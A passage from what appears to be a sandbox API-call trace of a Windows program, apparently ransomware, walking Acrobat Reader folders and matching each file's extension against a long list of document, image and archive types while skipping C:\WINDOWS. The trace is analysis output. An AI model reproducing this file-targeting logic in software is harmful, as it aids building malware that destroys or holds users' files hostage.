returned 4 [0266.776] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0266.776] lstrlenW (lpString=".grs") returned 4 [0266.776] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0266.776] lstrlenW (lpString=".gz") returned 3 [0266.776] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0266.776] lstrlenW (lpString=".h") returned 2 [0266.776] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0266.776] lstrlenW (lpString=".hdr") returned 4 [0266.776] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0266.776] lstrlenW (lpString=".hpp") returned 4 [0266.776] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0266.776] lstrlenW (lpString=".hta") returned 4 [0266.776] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0266.776] lstrlenW (lpString=".htc") returned 4 [0266.776] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0266.776] lstrlenW (lpString=".htm") returned 4 [0266.776] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0266.776] lstrlenW (lpString=".html") returned 5 [0266.777] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0266.777] lstrlenW (lpString=".icb") returned 4 [0266.777] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0266.777] lstrlenW (lpString=".ics") returned 4 [0266.777] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0266.777] lstrlenW (lpString=".iff") returned 4 [0266.777] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0266.777] lstrlenW (lpString=".inc") returned 4 [0266.777] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0266.777] lstrlenW (lpString=".indd") returned 5 [0266.777] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0266.777] lstrlenW (lpString=".ini") returned 4 [0266.777] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0266.777] lstrlenW (lpString=".iqy") returned 4 [0266.777] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0266.777] lstrlenW (lpString=".j2c") returned 4 [0266.777] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0266.777] lstrlenW (lpString=".j2k") returned 4 [0266.777] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0266.777] lstrlenW (lpString=".java") returned 5 [0266.777] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0266.777] lstrlenW (lpString=".jp2") returned 4 [0266.777] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0266.777] lstrlenW (lpString=".jpc") returned 4 [0266.777] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0267.092] lstrlenW (lpString=".jpe") returned 4 [0267.092] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0267.092] lstrlenW (lpString=".jpeg") returned 5 [0267.092] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0267.092] lstrlenW (lpString=".jpf") returned 4 [0267.092] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0267.092] lstrlenW (lpString=".jpg") returned 4 [0267.092] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0267.092] lstrlenW (lpString=".jpx") returned 4 [0267.092] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0267.092] lstrlenW (lpString=".js") returned 3 [0267.093] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0267.093] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0267.093] FindClose (in: hFindFile=0x3315cb0 | out: hFindFile=0x3315cb0) returned 1 [0267.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0267.093] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.093] lstrlenW (lpString="ui-strings.js") returned 13 [0267.093] lstrlenW (lpString=".1cd") returned 4 [0267.093] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0267.093] lstrlenW (lpString=".3ds") returned 4 [0267.093] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0267.093] lstrlenW (lpString=".3fr") returned 4 [0267.093] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0267.093] lstrlenW (lpString=".3g2") returned 4 [0267.093] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0267.093] lstrlenW (lpString=".3gp") returned 4 [0267.093] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0267.093] lstrlenW (lpString=".7z") returned 3 [0267.094] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0267.094] lstrlenW (lpString=".accda") returned 6 [0267.094] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0267.094] lstrlenW (lpString=".accdb") returned 6 [0267.094] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0267.094] lstrlenW (lpString=".accdc") returned 6 [0267.094] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0267.094] lstrlenW (lpString=".accde") returned 6 [0267.094] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0267.094] lstrlenW (lpString=".accdt") returned 6 [0267.094] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0267.094] lstrlenW (lpString=".accdw") returned 6 [0267.094] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0267.094] lstrlenW (lpString=".adb") returned 4 [0267.094] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0267.094] lstrlenW (lpString=".adp") returned 4 [0267.094] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0267.094] lstrlenW (lpString=".ai") returned 3 [0267.094] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0267.094] lstrlenW (lpString=".ai3") returned 4 [0267.094] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0267.094] lstrlenW (lpString=".ai4") returned 4 [0267.094] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0267.094] lstrlenW (lpString=".ai5") returned 4 [0267.094] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0267.095] lstrlenW (lpString=".ai6") returned 4 [0267.095] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0267.095] lstrlenW (lpString=".ai7") returned 4 [0267.095] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0267.095] lstrlenW (lpString=".ai8") returned 4 [0267.095] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0267.095] lstrlenW (lpString=".anim") returned 5 [0267.095] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0267.095] lstrlenW (lpString=".arw") returned 4 [0267.095] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0267.095] lstrlenW (lpString=".as") returned 3 [0267.095] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0267.095] lstrlenW (lpString=".asa") returned 4 [0267.095] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0267.095] lstrlenW (lpString=".asc") returned 4 [0267.095] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0267.095] lstrlenW (lpString=".ascx") returned 5 [0267.095] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0267.095] lstrlenW (lpString=".asm") returned 4 [0267.095] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0267.095] lstrlenW (lpString=".asmx") returned 5 [0267.095] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0267.095] lstrlenW (lpString=".asp") returned 4 [0267.095] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0267.095] lstrlenW (lpString=".aspx") returned 5 [0267.095] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0267.096] lstrlenW (lpString=".asr") returned 4 [0267.096] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0267.096] lstrlenW (lpString=".asx") returned 4 [0267.096] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0267.096] lstrlenW (lpString=".avi") returned 4 [0267.096] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0267.096] lstrlenW (lpString=".avs") returned 4 [0267.096] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0267.096] lstrlenW (lpString=".backup") returned 7 [0267.096] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0267.096] lstrlenW (lpString=".bak") returned 4 [0267.096] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0267.096] lstrlenW (lpString=".bay") returned 4 [0267.096] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0267.096] lstrlenW (lpString=".bd") returned 3 [0267.096] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0267.096] lstrlenW (lpString=".bin") returned 4 [0267.096] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0267.096] lstrlenW (lpString=".bmp") returned 4 [0267.096] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0267.096] lstrlenW (lpString=".bz2") returned 4 [0267.096] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0267.096] lstrlenW (lpString=".c") returned 2 [0267.097] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0267.097] lstrlenW (lpString=".cdr") returned 4 [0267.097] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0267.097] lstrlenW (lpString=".cer") returned 4 [0267.097] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0267.097] lstrlenW (lpString=".cf") returned 3 [0267.097] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0267.097] lstrlenW (lpString=".cfc") returned 4 [0267.097] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0267.097] lstrlenW (lpString=".cfm") returned 4 [0267.097] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0267.097] lstrlenW (lpString=".cfml") returned 5 [0267.097] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0267.097] lstrlenW (lpString=".cfu") returned 4 [0267.097] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0267.097] lstrlenW (lpString=".chm") returned 4 [0267.097] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0267.097] lstrlenW (lpString=".cin") returned 4 [0267.097] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0267.097] lstrlenW (lpString=".class") returned 6 [0267.097] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0267.097] lstrlenW (lpString=".clx") returned 4 [0267.097] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0267.097] lstrlenW (lpString=".config") returned 7 [0267.097] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0267.097] lstrlenW (lpString=".cpp") returned 4 [0267.098] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0267.098] lstrlenW (lpString=".cr2") returned 4 [0267.098] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0267.098] lstrlenW (lpString=".crt") returned 4 [0267.098] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0267.098] lstrlenW (lpString=".crw") returned 4 [0267.098] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0267.098] lstrlenW (lpString=".cs") returned 3 [0267.098] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0267.098] lstrlenW (lpString=".css") returned 4 [0267.098] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0267.098] lstrlenW (lpString=".csv") returned 4 [0267.098] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0267.098] lstrlenW (lpString=".cub") returned 4 [0267.098] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0267.098] lstrlenW (lpString=".dae") returned 4 [0267.098] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0267.098] lstrlenW (lpString=".dat") returned 4 [0267.098] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0267.098] lstrlenW (lpString=".db") returned 3 [0267.098] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0267.098] lstrlenW (lpString=".dbf") returned 4 [0267.099] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0267.099] lstrlenW (lpString=".dbx") returned 4 [0267.099] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0267.099] lstrlenW (lpString=".dc3") returned 4 [0267.099] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0267.099] lstrlenW (lpString=".dcm") returned 4 [0267.099] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0267.099] lstrlenW (lpString=".dcr") returned 4 [0267.099] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0267.099] lstrlenW (lpString=".der") returned 4 [0267.099] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0267.099] lstrlenW (lpString=".dib") returned 4 [0267.099] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0267.099] lstrlenW (lpString=".dic") returned 4 [0267.099] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0267.099] lstrlenW (lpString=".dif") returned 4 [0267.099] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0267.099] lstrlenW (lpString=".divx") returned 5 [0267.099] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0267.099] lstrlenW (lpString=".djvu") returned 5 [0267.099] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0267.099] lstrlenW (lpString=".dng") returned 4 [0267.100] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0267.100] lstrlenW (lpString=".doc") returned 4 [0267.100] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0267.100] lstrlenW (lpString=".docm") returned 5 [0267.100] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0267.100] lstrlenW (lpString=".docx") returned 5 [0267.100] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0267.100] lstrlenW (lpString=".dot") returned 4 [0267.100] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0267.100] lstrlenW (lpString=".dotm") returned 5 [0267.100] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0267.100] lstrlenW (lpString=".dotx") returned 5 [0267.100] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0267.100] lstrlenW (lpString=".dpx") returned 4 [0267.100] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0267.100] lstrlenW (lpString=".dqy") returned 4 [0267.100] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0267.100] lstrlenW (lpString=".dsn") returned 4 [0267.101] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0267.101] lstrlenW (lpString=".dt") returned 3 [0267.101] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0267.101] lstrlenW (lpString=".dtd") returned 4 [0267.101] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0267.101] lstrlenW (lpString=".dwg") returned 4 [0267.101] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0267.101] lstrlenW (lpString=".dwt") returned 4 [0267.101] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0267.101] lstrlenW (lpString=".dx") returned 3 [0267.101] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0267.101] lstrlenW (lpString=".dxf") returned 4 [0267.101] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0267.101] lstrlenW (lpString=".edml") returned 5 [0267.101] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0267.101] lstrlenW (lpString=".efd") returned 4 [0267.101] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0267.101] lstrlenW (lpString=".elf") returned 4 [0267.101] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0267.101] lstrlenW (lpString=".emf") returned 4 [0267.101] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0267.101] lstrlenW (lpString=".emz") returned 4 [0267.101] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0267.101] lstrlenW (lpString=".epf") returned 4 [0267.102] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0267.102] lstrlenW (lpString=".eps") returned 4 [0267.102] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0267.102] lstrlenW (lpString=".epsf") returned 5 [0267.102] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0267.102] lstrlenW (lpString=".epsp") returned 5 [0267.102] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0267.102] lstrlenW (lpString=".erf") returned 4 [0267.102] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0267.102] lstrlenW (lpString=".exr") returned 4 [0267.102] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0267.102] lstrlenW (lpString=".f4v") returned 4 [0267.102] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0267.102] lstrlenW (lpString=".fido") returned 5 [0267.102] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0267.102] lstrlenW (lpString=".flm") returned 4 [0267.102] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0267.102] lstrlenW (lpString=".flv") returned 4 [0267.102] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0267.103] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0267.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0267.103] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315870 [0267.104] FindNextFileW (in: hFindFile=0x3315870, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.104] FindNextFileW (in: hFindFile=0x3315870, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2e44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.104] FindNextFileW (in: hFindFile=0x3315870, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2e44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0267.104] FindClose (in: hFindFile=0x3315870 | out: hFindFile=0x3315870) returned 1 [0267.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0267.104] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0267.104] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn") returned 106 [0267.104] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn") returned 1 [0267.105] lstrlenW (lpString="zh-cn") returned 5 [0267.105] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="zh-cn") returned -1 [0267.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0267.105] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn") returned 106 [0267.105] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0267.105] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.105] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.105] lstrlenW (lpString="ui-strings.js") returned 13 [0267.105] lstrlenW (lpString=".1cd") returned 4 [0267.106] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0267.106] lstrlenW (lpString=".3ds") returned 4 [0267.106] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0267.106] lstrlenW (lpString=".3fr") returned 4 [0267.106] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0267.106] lstrlenW (lpString=".3g2") returned 4 [0267.106] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0267.106] lstrlenW (lpString=".3gp") returned 4 [0267.106] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0267.106] lstrlenW (lpString=".7z") returned 3 [0267.106] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0267.106] lstrlenW (lpString=".accda") returned 6 [0267.106] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0267.106] lstrlenW (lpString=".accdb") returned 6 [0267.106] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0267.106] lstrlenW (lpString=".accdc") returned 6 [0267.106] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0267.106] lstrlenW (lpString=".accde") returned 6 [0267.106] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0267.106] lstrlenW (lpString=".accdt") returned 6 [0267.106] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0267.107] lstrlenW (lpString=".accdw") returned 6 [0267.107] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0267.107] lstrlenW (lpString=".adb") returned 4 [0267.107] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0267.107] lstrlenW (lpString=".adp") returned 4 [0267.107] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0267.107] lstrlenW (lpString=".ai") returned 3 [0267.107] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0267.107] lstrlenW (lpString=".ai3") returned 4 [0267.107] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0267.107] lstrlenW (lpString=".ai4") returned 4 [0267.107] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0267.107] lstrlenW (lpString=".ai5") returned 4 [0267.107] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0267.107] lstrlenW (lpString=".ai6") returned 4 [0267.107] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0267.107] lstrlenW (lpString=".ai7") returned 4 [0267.107] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0267.107] lstrlenW (lpString=".ai8") returned 4 [0267.107] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0267.107] lstrlenW (lpString=".anim") returned 5 [0267.108] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0267.108] lstrlenW (lpString=".arw") returned 4 [0267.108] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0267.108] lstrlenW (lpString=".as") returned 3 [0267.108] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0267.108] lstrlenW (lpString=".asa") returned 4 [0267.108] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0267.108] lstrlenW (lpString=".asc") returned 4 [0267.108] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0267.108] lstrlenW (lpString=".ascx") returned 5 [0267.108] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0267.108] lstrlenW 